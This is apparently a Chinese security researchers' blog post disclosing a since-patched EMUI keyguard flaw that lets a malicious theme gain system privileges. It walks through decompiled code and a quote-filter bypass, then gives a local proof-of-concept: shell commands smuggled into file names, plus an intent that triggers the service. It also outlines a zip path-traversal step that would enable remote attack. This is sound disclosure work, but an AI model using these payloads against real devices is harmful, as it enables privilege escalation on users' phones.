各位Android用户一定对主题包不陌生,这应该是Android相对于iOS可定制化的一大优势。
说到主题包,各位会想到什么?这个?
哦不对,跑题了。那这个?
好了又跑题了,下面是正文。两年前,我们对EMUI做了一次审计,发现了数十个各种各样的问题,从系统崩溃重启到system/内核权限代码执行,都早已报给了华为并得到了修复。
其中有些漏洞的挖掘和利用过程还是很有意思的,在这里总结成系列文章分享给大家。下面介绍的是一个通过恶意主题远程和本地均可以发起攻击拿到system权限的漏洞。在主题商店或者第三方渠道下载安装了这样一个主题,手机就会被拿到system权限。
EMUI中的锁屏应用,也就是keyguard应用, 负责系统主题和锁屏的下载、管理工作。
这段Manifest中可以看出,其以system uid运行,具有用户态比较高的权限。
1 <manifest android:sharedUserId="android.uid.system" android:versionCode="30000" android:versionName="3.0.5.1" coreApp="true" package="com.android.keyguard" platformBuildVersionCode="21" platformBuildVersionName="5.0-eng.jenkins.20150930.140728" xmlns:android="http://schemas.android.com/apk/res/android">
对odex过后的文件做了下反编译,下面这部分代码引起了我们的注意。这部分代码会在新主题被下载过之后执行,基本的作用是扫描主题存储目录,将所有文件名含有,对文件做相应刷新操作。
1final class DownloadServiceHandler extends Handler {private void downloadFinish(ArrayList arg5, boolean arg6) {
2 //...
3 UpdateHelper.switchChannelFilesName(DownloadService.this.getBaseContext(),".downloading",".apply", arg5);
4 File[] v0 = UpdateHelper.queryChannelFiles(".apply"); if(v0 == null || v0.length <= 0)
5 {this.handleFailed();}
6 else
7 {
8 DownloadService.this.handleChannelDownloadFinish(arg5, arg6);
9 }
10//...
DownloadService继续追下去
1com.android.huawei.magazineunlock.update.UpdateHelper switchChannelFilesNamepublic static boolean switchChannelFilesName (Context arg8, String arg9, String arg10, ArrayList arg11){ boolean v5;
2 File[] files=UpdateHelper.queryChannelFiles(arg9,arg11); if(files == null || files.length == 0 ) {
3 v5 = false;
4} else { int i; for(i = 0 ; i < files.length; ++i) {
5 String path = files[i].getAbsolutePath();
6 String newName = path.replaceAll(arg9,arg10); if(!files[i].renameTo(new File(newName)) && !CommandLineUtil.mv("root",CommandLineUtil.addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) {
7 Log.i("UpdateHelper" , "switch channel files , mv failed");
8 }
9 }
10 v5 = true;
11 } return v5;
12}
看起来第一次是调用File.renameTo
,如果失败了,再次调用CommandLineUtil.mv
函数。
queryChannelFiles函数的作用是扫描 /sdcard/MagazineUpdate/download目录下的一级File,如果文件名包含通配符,那么返回该File.
CommandLineUtil.mv函数是做什么的?
1public static boolean mv (String arg4, String arg5, String arg6 ) {
2 Object[] obj = new Object[2];
3 obj[0] = arg5.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg5) : arg5;
4 obj[1] = arg6.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg6) : arg6; return CommandLineUtil.run(arg4 , "mv %s %s", obj);
5}
6 private static InputStream run (boolean arg6, String arg7, String arg8 , Object[] arg9) {
7 InputStream v0 = null ;
8 String[] str2 = new String[3];
9 if(arg9.length > 0) {
10 String str1 = String.format(arg8,arg9 );
11 if(!TextUtils.isEmpty (((CharSequence)arg7))) {
12 str2[0] = "/system/bin/sh";
13 str2[1] = "-c";
14 str2[2] = str1;
15 v0 = CommandLineUtil.runInner(arg6, str2);
16 }
17 } return v0;
18}
这不是”/system/bin/sh -c”,命令注入了嘛!
那当然不是,否则这个漏洞也没必要写个博客了。
仔细看下这个函数,我们要构造payload需要若干个条件
通过CommandLIneUtil.addQuoteMark
的过滤
让第一次renameTo失败
构造出文件名包含命令执行语句的且合法的文件
这三项从简到难。第一个最简单,我们来看看CommandLineUtil.addQuoteMark是如何过滤的:
1public static String addQuoteMark(String arg2) { if(!TextUtils.isEmpty(((CharSequence)arg2)) && arg2.charAt(0) != 34 && !arg2.contains("*")) {
2 arg2 = "\"" + arg2 + "\"";
3 } return arg2;
4}
这个好像没什么用嘛…直接闭合下,KO
然后再来看第二个,如何让renameTo失败?
我们来看下Java 官方文档:
1renameTo
1public boolean renameTo(File dest)
1Renames the file denoted by this abstract pathname. 2Many aspects of the behavior of this method are inherently platform-dependent: The rename operation might not be able to move a file from one filesystem to another, it might not be atomic, and it might not succeed if a file with the destination abstract pathname already exists. The return value should always be checked to make sure that the rename operation was successful.
大意就是,大爷我(Oracle)也不知道这帮孙子究竟把这个API实现成什么样子了,不同平台的不同孙子做法不一样,因为他们对应的syscall实现不一样。那么Android平台上的JVM是不是这样的一个孙子?
如下代码告诉了我们结果:
1Runtime.getRuntime.exec("touch /sdcard/1"); 2Runtime.getRuntime.exec("touch /sdcard/2"); 3System.out.println(new File("/sdcard/1").renameTo(new File("/sdcard/2")));
Err…没这么简单,返回的是true。
那我们再回过头来看具体的syscall描述:
1SYNOPSIS top
1#include <stdio.h>
2 int rename(const char *oldpath, const char *newpath);
1
2 rename() renames a file, moving it between directories if required.
3 Any other hard links to the file (as created using link(2)) are
4 unaffected. Open file descriptors for oldpath are also unaffected.
5 Various restrictions determine whether or not the rename operation
6 succeeds: see ERRORS below.
7
1 2 If newpath already exists, it will be atomically replaced, so that 3 there is no point at which another process attempting to access 4 newpath will find it missing.
1//...snip
1 2 oldpath can specify a directory. In this case, newpath must either 3 not exist, or it must specify an empty directory.
那么如果源文件是目录,目标文件已存在且不是非空目录,那么自然就返回false了。
再回过头来看我们可以控制的参数,
1 String path = files[i].getAbsolutePath(); 2 String newName = path.replaceAll(arg9,arg10);
1if(!files[i].renameTo(new File(newName)) && !CommandLineUtil.mv("root",CommandLineUtil. addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) {
我们需要构造出合法的文件名,以此作为payload,实现代码执行。但是问题就来了:文件名中是不能出现/
这种路径符号的(否则就成一个目录了),但是没有了这个路径符号,我们又基本上无法执行任何有意义的命令!(即使reboot也是需要path的)
事实上,在最开始确认这个漏洞的时候,我思来想去,最终用了如下的payload来首先确定漏洞存在:
1File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
input keyevent
是少有的几个不需要设置PATH也不需要绝对路径就可以执行的命令,但是没什么卵用。。。
这时,我掐指一算,想起来了小时候日站的一个trick:
bash/mksh允许通过通配符的方式从已有的字符串中提取出局部字符串。
已有的字符串又有什么呢?环境变量
1echo $ANDROID_DATA/data
1S=${ANDROID_DATA%data}
1echo $S
1/
这样我们就可以提取出一个/,以$S的形式表示。而这个在文件名中是完全合法的。通过如下代码构造文件,随后通过intent触发service,我们就能够实现以systemuid执行任意binary的目的。
1void prepareFile1() throws IOException { //File file = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".apply.a");
2 //File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
3 File file = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".apply.a");
4 File file2 = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".downloading.a");
5 file.createNewFile();
6 file2.mkdir();
7}
1void startPOCService(){
2 ChannelInfo info = new ChannelInfo();
3 info.downloadUrl = "http://172.16.4.172:8000/dummy";
4 info.channelId = "ddd";
5 info.size = 10110240;
6 ArrayList<ChannelInfo> list = new ArrayList<>();
7 list.add(info);
8 Intent intent = new Intent();
9 intent.setComponent(new ComponentName("com.android.keyguard","com.android.huawei.magazineunlock.update.DownloadService"));
10 intent.setAction("com.android.keyguard.magazinulock.update.DOWNLOAD_CHANNEL");
11 intent.putParcelableArrayListExtra("update_list", list);
12 intent.putExtra("type",6);
13 startService(intent);
14}
但这个只是一个本地exp,有没有办法远程呢?
我们注意到,所谓的主题文件,实际上是一个zip压缩包。主题的安装最终指向如下路径:
1public static void applyTheme(Context arg6 , String arg7) {
2 PackageManager packageManager0 = arg6. getPackageManager();
3 HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
1 try { 2 packageManager0.getClass().getMethod("installHwTheme", String.class).invoke(packageManager0 , 3 arg7); 4 } catch()//... 5 } 6 HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ()); 7 }
这是一个在system_server中实现的服务,实现在huawei.android.hwutil.ZipUtil.unZipFile
。代码比较长,这里就不贴了。聪明的读者应该已经意识到了
没有过滤ZipEntry,可以实现路径回溯。
说到这里,有个需要澄清的地方是:在Android5之后,主流机型system_server/system_app进程写dalvik-cache的能力已经被SELinux禁止掉了,即使说他们都是systemuid。所以单个ZipEntry漏洞已经不存在通杀的利用方法。我们可能需要找一些动态加载的代码进行覆盖。
但并不妨碍我们将这个与上述漏洞结合起来,实现完整的远程代码执行。
One theme to system privilege? 上面的分析完整地告诉了这是如何达到的。鉴于攻击的危害性,这里不会放出远程利用的exploit,但是整个漏洞的利用过程,还是蛮有意思的XD
"嘿嘿,前面不让进,我就走后门" - EMUI中另一个system提权漏洞简析。